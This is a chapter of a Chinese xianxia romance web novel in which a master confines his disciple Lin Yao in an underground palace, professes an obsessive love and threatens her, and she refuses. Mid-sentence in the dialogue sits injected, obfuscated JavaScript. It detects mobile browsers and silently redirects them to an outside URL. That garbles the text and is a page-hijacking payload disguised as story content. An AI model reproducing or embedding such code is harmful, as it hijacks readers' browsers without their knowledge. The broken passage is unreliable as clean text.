尹星灯随手丢掉了手里的几枚铜板,眸光越来越冷,嘴角最后一丝笑意也消失殆尽,掐着她的下颌目眦欲裂,愤怒的咆哮在她耳边炸响:“你还想瞒我到什么时候!几次三番想跑出去,就是为了去见刚才那个人是不是!谁给你的胆子居然妄想私定终身?从今天开始,你休想再踏出星辰宫一步!” …… 竹林幽暗,月影斑驳处立着一道挺拔的黑影。 先前那位杂耍艺人来到了六个水身边,忽然跪倒在地,战战兢兢道:“君上,属下任务失败了,逍遥君忽然出手救走了那两人……” 六个水微一扬手,神色冷峻,之前与林瑶谈笑风生的模样荡然无存:“废话不用讲给我听,自己去圣女手下领罚,还有,盯紧尹星灯的那个大弟子林瑶,暂时别让她轻易离开玄都。” “君上,那梵净山的雨露试炼?” “不急,届时本座会送份大礼给梵净山,做好你该做的,林瑶若是有所闪失……” “属下明白!” 星辰宫,地宫。 林瑶跟宫玄烛待在一处,两人不知说了什么,只见宫玄烛匆匆离去了,尹星灯并不搭理二徒弟,只往正殿中走去,看着白衣如雪的大弟子,她即便是身陷囹圄,还是这么不卑不亢,清冷孤傲仿佛一枝白梅,让人忍不住想攀折下来插在金瓶之中独自赏玩。 他在她面前坐下,不禁轻叹:“为师本不想这么对你,可你冥顽不灵,非要跟为师对着来,瑶儿,我都是为了你好,你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493261|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不能体谅为师的苦心呢?” 林瑶半阖眼眸,脸上浮现一丝不耐烦,静了好久才道:“是为我还是为你自己,师父心里有数。” 尹星灯的心事被当面揭穿,并没有恼羞成怒,反而是笑了,舒心至极,不禁笑叹:“我的瑶儿果然是冰雪肝胆、琉璃心肠,居然猜得出为师的心思,那你可知,为师现在在想什么?” 林瑶玉面微绯,低垂了眼睫。 尹星灯凑上前,在她耳边压低了声音,如同蛊惑,嗓音缠绵低沉:“为师现在无比的……不!应该是一直以来,就想这么与瑶儿独处,” 他的唇越凑越近,林瑶侧头避开,勃然大怒:“尹星灯!我叫你一声师父,你好歹有个师父的样子!” 林瑶向来对尹星灯尊敬有加,对外人都十分和气,今日这般出言顶撞,可见是动了真气,那玉面含怒的模样让尹星灯有些不知所措,半蹲在地上怔了许久,广袖下的手不由发抖,放低了声音,谦卑得有些可怜:“瑶儿,是为师不好,不该这么逼你,你别生为师的气了,好不好?” 林瑶缓了缓心神,见一向对世俗礼法视若无物的师父如今这般模样,恍然枝头明花落入尘寰,心中又是同情又是悲悯,万般言语竟也是无从出口。 情之一字当真害人不浅,可是,她不会委屈自己去成全别人,林瑶这么想也这么说,将一颗无暇的琉璃心剖给他看。 “承蒙师父错爱,林瑶于您只有师徒之情,绝无半分男女之意。纵然是违心相待,料想也非师父所愿。” 尹星灯听了这话,脸上原本哀伤的神色渐渐撕裂,取而代之的是诡异的欣喜,双手死死钳住林瑶单薄的肩膀,目眦欲裂:“即便是违心的喜欢,你可曾给过我半分?瑶儿,假的我也要,轮不到旁人。古法有载,修炼无情道需要祭品,你知道的吧?为师愿意做你的祭品!” 他越说越激动,仿佛已经能想象到成为祭品之后,林瑶会怎么对自己……全身的血液沸腾着往上涌,脸颊绯红、浑身燥热起来,紧紧盯着眼前那张如冰似雪的脸,只要她点个头,哪怕是将抹着剧毒的匕首刺进他心脏里也甘之如饴! 林瑶似乎被这句话镇住了,眼睛微微睁大,随即明白过来,原本冷淡的面容覆上一丝阴霾,别过脸去不再看他:“那是邪门歪道,我怎么可能会做那种事……” 一瓢冰水泼头。 尹星灯仿佛一头被激怒的狮子,亦仿佛磨牙吮血的鬼怪,幽暗的地宫里,那双眼眸跳动着血色的诡异光芒,再也跟仙人沾不上一点边。 “林瑶……你,你是真不怕我杀了你吗?” 他重重地呼吸着,平复自己的心绪,仿佛垂死挣扎的困兽,半炷香后,他渐渐找回了自己正常的声音,“瑶儿,别再逼我了,我不知道被你逼急了,我会做出什么来……你乖乖听话不好么?你留在我身边,想要什么为师都可以给你。” 林瑶不免哀叹,连目光也无处安放,她不敢去看尹星灯的脸,害怕对上那炽热而癫狂的目光,黯然望向泣泪的冷烛:“你打算锁着我一辈子?” 尹星灯笑道:“有何不可?”伸手摸摸她的发丝,眸中是再也掩藏不住的贪恋,“你是为师的,为师想怎样就怎样。” “既然你不肯接受,那就好好在这里待着,若是后悔今日决定,随时可以告诉我。” 林瑶冷冷撇过脸,几乎是一字一顿,如同水珠砸在冰面上:“弟子绝不后悔。”